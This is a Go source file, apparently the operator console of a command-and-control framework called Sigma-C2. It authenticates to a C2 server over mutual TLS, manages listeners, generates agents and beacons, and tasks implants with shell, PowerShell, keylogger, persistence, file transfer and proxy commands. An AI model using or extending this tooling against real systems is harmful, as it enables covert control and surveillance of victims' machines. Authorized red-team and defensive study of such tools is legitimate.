Sigma-C2/operator/operator.go

package main

import (
	"crypto/tls"
	"crypto/x509"
	"flag"
	"fmt"
	"io"
	"log"
	"os"
	"slices"
	"strings"

	"github.com/chzyer/readline"
)

// Default server address
var defaultServerAddr = "127.0.0.1:8080"

// Path to certificates
var clientCertPath = "../certificates/client.crt"
var clientKeyPath = "../certificates/client.key"
var caCertPath = "../certificates/ca.crt"

// Available commands fpr tab completion in main context
var availableClobalCommands = []struct {
	command     string
	subcommands map[string][]string
}{
	{"agents", nil},
	{"show", map[string][]string{
		"agent":     {""}, // Updated dynamically
		"tasks":     {""}, // Updated dynamically
		"listeners": nil,
		"modules":   nil,
	}},
	{"clear", map[string][]string{
		"tasks": {""}, // Updated dynamically
	}},
	{"listen", map[string][]string{
		"-t":          {"ssl", "tcp", "dns"},
		"--transport": {"ssl", "tcp", "dns"},
		"-h":          {""},
		"--host":      {""},
		"-p":          {""},
		"--port":      {""},
		"-n":          {""},
		"--name":      {""},
	}},
	{"stop", map[string][]string{
		"listener": {""}, // Updated dynamically
	}},
	{"generate", map[string][]string{
		"agent":  {""}, // Updated dynamically
		"beacon": {""}, // Updated dynamically
	}},
	{"interact", map[string][]string{
		"": {""}, // Updated dynamically
	}},
	{"exit", nil},
}

// Available commands fpr tab completion in agent context
var availableContextCommands = []struct {
	command     string
	subcommands map[string][]string
}{
	{"agents", nil},
	{"show", map[string][]string{
		"agent":     {""}, // Updated dynamically
		"tasks":     {""}, // Updated dynamically
		"listeners": nil,
		"modules":   nil,
	}},
	{"clear", map[string][]string{
		"tasks": {""}, // Updated dynamically
	}},
	{"sleep", map[string][]string{"": {""}}},
	{"cmd", map[string][]string{"": {""}}},
	{"powershell", map[string][]string{"": {""}}},
	{"run", map[string][]string{"": {""}}},
	{"sysinfo", map[string][]string{"": {""}}},
	{"files", map[string][]string{"": {""}}},
	{"artifacts", map[string][]string{"": {""}}},
	{"cd", map[string][]string{"": {""}}},
	{"ls", map[string][]string{"": {""}}},
	{"pwd", map[string][]string{"": {""}}},
	{"dir", map[string][]string{"": {""}}},
	{"keylogger", map[string][]string{
		"start": {""},
		"stop":  {""},
	}},
	{"persistence", map[string][]string{
		"add":    {""},
		"remove": {""},
	}},
	{"download", map[string][]string{"": {""}}},
	{"upload", map[string][]string{"": {""}}},
	{"proxy", map[string][]string{
		"start": {""},
		"stop":  {""},
	}},
	{"kill", map[string][]string{"": {""}}},
	{"cleanup", map[string][]string{"": {""}}},
}

var contextCommands = []string{
	"sleep", "cmd", "powershell", "run", "sysinfo", "files", "keylogger",
	"persistence", "download", "upload", "artifacts", "kill", "cleanup",
	"exit", "cd", "ls", "pwd", "dir", "proxy",
}

// To store list of agents for tab completion
var agents []string

// Empty when in main context
var currentAgentContext string

// Update available listener names for "generate agent" and "generate beacon" and for "stop listeners"
func UpdateListenersSubCommands(listeners []string) {
	for i := range availableClobalCommands {
		switch availableClobalCommands[i].command {
		case "generate":
			availableClobalCommands[i].subcommands["agent"] = listeners
			availableClobalCommands[i].subcommands["beacon"] = listeners
		case "stop":
			availableClobalCommands[i].subcommands["listener"] = listeners
		}
	}
}

// Update available commands to auto-complete agent names
func UpdateAgentsSubCommands(agentList []string) {
	agents = agentList
	for i := range availableClobalCommands {
		switch availableClobalCommands[i].command {
		case "show":
			availableClobalCommands[i].subcommands["agent"] = agentList
			availableClobalCommands[i].subcommands["tasks"] = agentList
		case "clear":
			availableClobalCommands[i].subcommands["tasks"] = agentList
		case "interact":
			availableClobalCommands[i].subcommands[""] = agentList
		}
	}
}

// Build tab completer
func getCompleter() *readline.PrefixCompleter {
	var items []readline.PrefixCompleterInterface

	if currentAgentContext != "" {
		// Agent context: include context commands, exit, and interact
		for _, cmd := range availableContextCommands {
			if cmd.subcommands != nil {
				var subItems []readline.PrefixCompleterInterface
				for sub, subsub := range cmd.subcommands {
					if sub == "" {
						for _, s := range subsub {
							subItems = append(subItems, readline.PcItem(s))
						}
					} else {
						nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
						for i, subsubCmd := range subsub {
							nestedItems[i] = readline.PcItem(subsubCmd)
						}
						subItems = append(subItems, readline.PcItem(sub, nestedItems...))
					}
				}
				items = append(items, readline.PcItem(cmd.command, subItems...))
			} else {
				items = append(items, readline.PcItem(cmd.command))
			}
		}
		// Add exit and interact explicitly
		items = append(items, readline.PcItem("exit"))
		var interactSubItems []readline.PrefixCompleterInterface
		for _, agent := range agents {
			interactSubItems = append(interactSubItems, readline.PcItem(agent))
		}
		items = append(items, readline.PcItem("interact", interactSubItems...))
	} else {
		// Main context: include global commands and agent IDs with context commands
		// Add global commands
		for _, cmd := range availableClobalCommands {
			if cmd.subcommands != nil {
				var subItems []readline.PrefixCompleterInterface
				for sub, subsub := range cmd.subcommands {
					if sub == "" {
						for _, s := range subsub {
							subItems = append(subItems, readline.PcItem(s))
						}
					} else {
						nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
						for i, subsubCmd := range subsub {
							nestedItems[i] = readline.PcItem(subsubCmd)
						}
						subItems = append(subItems, readline.PcItem(sub, nestedItems...))
					}
				}
				items = append(items, readline.PcItem(cmd.command, subItems...))
			} else {
				items = append(items, readline.PcItem(cmd.command))
			}
		}

		// Add agent IDs with context commands as subcommands
		for _, agent := range agents {
			var agentSubItems []readline.PrefixCompleterInterface
			for _, cmd := range availableContextCommands {
				if cmd.subcommands != nil {
					var subItems []readline.PrefixCompleterInterface
					for sub, subsub := range cmd.subcommands {
						if sub == "" {
							for _, s := range subsub {
								subItems = append(subItems, readline.PcItem(s))
							}
						} else {
							nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
							for i, subsubCmd := range subsub {
								nestedItems[i] = readline.PcItem(subsubCmd)
							}
							subItems = append(subItems, readline.PcItem(sub, nestedItems...))
						}
					}
					agentSubItems = append(agentSubItems, readline.PcItem(cmd.command, subItems...))
				} else {
					agentSubItems = append(agentSubItems, readline.PcItem(cmd.command))
				}
			}
			items = append(items, readline.PcItem(agent, agentSubItems...))
		}
	}

	return readline.NewPrefixCompleter(items...)
}

// Prepares the TLS configuration for secure connection
func setupTLSConfig() (*tls.Config, error) {
	// Load CA certificate
	caCert, err := os.ReadFile(caCertPath)
	if err != nil {
		return nil, fmt.Errorf("failed to read CA certificate: %v", err)
	}

	caCertPool := x509.NewCertPool()
	if !caCertPool.AppendCertsFromPEM(caCert) {
		return nil, fmt.Errorf("failed to append CA certificate to pool")
	}

	// Load client certificate and key
	clientCert, err := tls.LoadX509KeyPair(clientCertPath, clientKeyPath)
	if err != nil {
		return nil, fmt.Errorf("failed to load client certificate and key: %v", err)
	}

	// Configure TLS
	return &tls.Config{
		Certificates:       []tls.Certificate{clientCert},
		RootCAs:            caCertPool,
		InsecureSkipVerify: false, // Ensure server's certificate is validated
	}, nil
}

// Establishes a secure connection to the server
func connectToServer(serverAddr string, tlsConfig *tls.Config) (*tls.Conn, error) {
	conn, err := tls.Dial("tcp", serverAddr, tlsConfig)
	if err != nil {
		return nil, fmt.Errorf("error connecting to server: %v", err)
	}

	fmt.Println("Connected to server")
	return conn, nil
}

// Pretty simple authentication of user with the server
func authenticateUser(conn *tls.Conn, userID, password string) error {
	fmt.Println("Starting authentication")

	// Send authentication message
	authMessage := fmt.Sprintf("AUTH:%s:%s", userID, password)
	_, err := conn.Write([]byte(authMessage))
	if err != nil {
		return fmt.Errorf("error sending credentials: %v", err)
	}

	// Receive server response
	buffer := make([]byte, 4096)
	n, err := conn.Read(buffer)
	if err != nil {
		return fmt.Errorf("error reading from server: %v", err)
	}

	response := string(buffer[:n])
	if response == "AUTH_OK" {
		fmt.Println("Auth successful. You can now issue commands.")
		return nil
	}

	return fmt.Errorf("authentication failed")
}

// Configure readline interface
func setupReadline() (*readline.Instance, error) {
	rlConfig := &readline.Config{
		Prompt:                 "\033[31mSigma >\033[0m ", // Colored prompt
		HistoryFile:            "/tmp/operator_history.txt",
		AutoComplete:           getCompleter(),
		InterruptPrompt:        "^C",
		DisableAutoSaveHistory: false,
		HistorySearchFold:      true,
		UniqueEditLine:         true,
	}

	rl, err := readline.NewEx(rlConfig)
	if err != nil {
		return nil, fmt.Errorf("error initializing readline: %v", err)
	}

	rl.SetVimMode(false)
	return rl, nil
}

// Goroutine to listen for server messages
func startServerListener(conn *tls.Conn, rl *readline.Instance, exitChan chan struct{}) {
	go func() {
		for {
			serverMsg := make([]byte, 4096)
			n, err := conn.Read(serverMsg)
			if err != nil {
				fmt.Println("Connection to server lost:", err)
				close(exitChan)
				return
			}

			// Parse the server message
			message := string(serverMsg[:n])
			handleServerMessage(message, rl)
		}
	}()
}

// Processes messages received from the server
func handleServerMessage(message string, rl *readline.Instance) {
	// Tab-completion update with listeners
	if strings.HasPrefix(message, "LISTENERS_UPDATE:") {
		// Extract the listener names from the message
		listeners := strings.Split(strings.TrimPrefix(message, "LISTENERS_UPDATE:"), ",")

		// Update subcommands
		UpdateListenersSubCommands(listeners)

		// Rebuild the tab completion
		rl.Config.AutoComplete = getCompleter()
		rl.Refresh()

		// Tab-completion update with new agents
	} else if strings.HasPrefix(message, "AGENTS_UPDATE:") {
		// Extract the agent names from the message
		agents = strings.Split(strings.TrimPrefix(message, "AGENTS_UPDATE:"), ",")

		// Update subcommands
		UpdateAgentsSubCommands(agents)

		// Rebuild the tab completion
		rl.Config.AutoComplete = getCompleter()
		rl.Refresh()

		// Handle usual messages
	} else {
		fmt.Print("\r\033[K") // Clears the line and the prompt
		fmt.Println("\n" + message)
		rl.Refresh() // Refresh readline input
	}
}

// Handles operator commands and context switching
func processCommand(command string, conn *tls.Conn, rl *readline.Instance) bool {
	if command == "" {
		return false
	}

	// Handle exit command
	if command == "exit" {
		if currentAgentContext != "" {
			// Exit from agent context
			currentAgentContext = ""
			rl.SetPrompt("\033[31mSigma >\033[0m ")

			// Update tab completion after context change
			rl.Config.AutoComplete = getCompleter()
			return false
		} else {
			// Exit from application
			fmt.Println("Exiting...")
			conn.Write([]byte(command))
			return true
		}
	}

	// Handle interact command
	if strings.HasPrefix(command, "interact") {
		handleInteractCommand(command, rl)
		return false
	}

	// Handle command in agent context
	if currentAgentContext != "" && isControlCommand(command) {
		command = currentAgentContext + " " + command
	}

	// Send command to server
	_, err := conn.Write([]byte(command))
	if err != nil {
		fmt.Printf("Error sending command: %v", err)
		return true
	}

	return false
}

// Check if command is a task for agent
func isControlCommand(command string) bool {
	// Split the command into words
	parts := strings.Fields(command)
	if len(parts) == 0 {
		fmt.Println("Empty command :(")
		return false
	}

	// Check if the first word is a context command
	if slices.Contains(contextCommands, parts[0]) {
		return true
	} else {
		return false
	}
}

// Processes the interact command for agent context switching
func handleInteractCommand(command string, rl *readline.Instance) {
	cmd := strings.Fields(command)

	if len(cmd) != 2 {
		fmt.Println("Usage: interact <agent_id>")
		return
	}

	if !slices.Contains(agents, cmd[1]) {
		fmt.Println("Agent not found!")
		return
	}

	// Set new agent context
	currentAgentContext = cmd[1]

	// Update tab completion
	rl.Config.AutoComplete = getCompleter()

	// Update prompt with agent context
	newPrompt := fmt.Sprintf("\033[31mSigma [%s] >\033[0m ", currentAgentContext)
	rl.SetPrompt(newPrompt)
}

// Executes the main command processing loop
func runCommandLoop(conn *tls.Conn, rl *readline.Instance, exitChan chan struct{}) {
	for {
		select {
		case <-exitChan:
			fmt.Println("Exiting due to lost connection.")
			return
		default:
			line, err := rl.Readline()
			if err != nil {
				if err == readline.ErrInterrupt {
					if len(line) == 0 {
						fmt.Println("\nExiting...")
						return
					}
					continue
				} else if err == io.EOF {
					fmt.Println("\nExiting...")
					return
				}
				fmt.Printf("Error reading line: %v", err)
				continue
			}

			command := strings.TrimSpace(line)
			shouldExit := processCommand(command, conn, rl)
			if shouldExit {
				return
			}
		}
	}
}

func main() {
	// Define flags for username, password and address of server
	operatorPassword := flag.String("p", "", "Password")
	operatorID := flag.String("u", "", "Username")
	serverAddr := flag.String("ip", defaultServerAddr, "IP and port of server")
	flag.Parse()

	// Check if password and username are provided
	if *operatorPassword == "" || *operatorID == "" {
		fmt.Println("Usage: client.exe -u <username> -p <password> -ip <ip:port>")
		return
	}
	fmt.Println("Client's username and password provided")

	// Setup TLS
	tlsConfig, err := setupTLSConfig()
	if err != nil {
		log.Fatalf("TLS setup failed: %v", err)
	}

	// Connect to server
	conn, err := connectToServer(*serverAddr, tlsConfig)
	if err != nil {
		log.Fatalf("Server connection failed: %v", err)
	}
	defer conn.Close()

	// Authenticate
	err = authenticateUser(conn, *operatorID, *operatorPassword)
	if err != nil {
		log.Fatalf("Authentication failed: %v", err)
	}

	// Setup readline
	rl, err := setupReadline()
	if err != nil {
		log.Fatalf("Readline setup failed: %v", err)
	}
	defer rl.Close()

	// Create exit channel
	exitChan := make(chan struct{})

	// Start server message listener
	startServerListener(conn, rl, exitChan)

	// Run main command loop
	runCommandLoop(conn, rl, exitChan)
}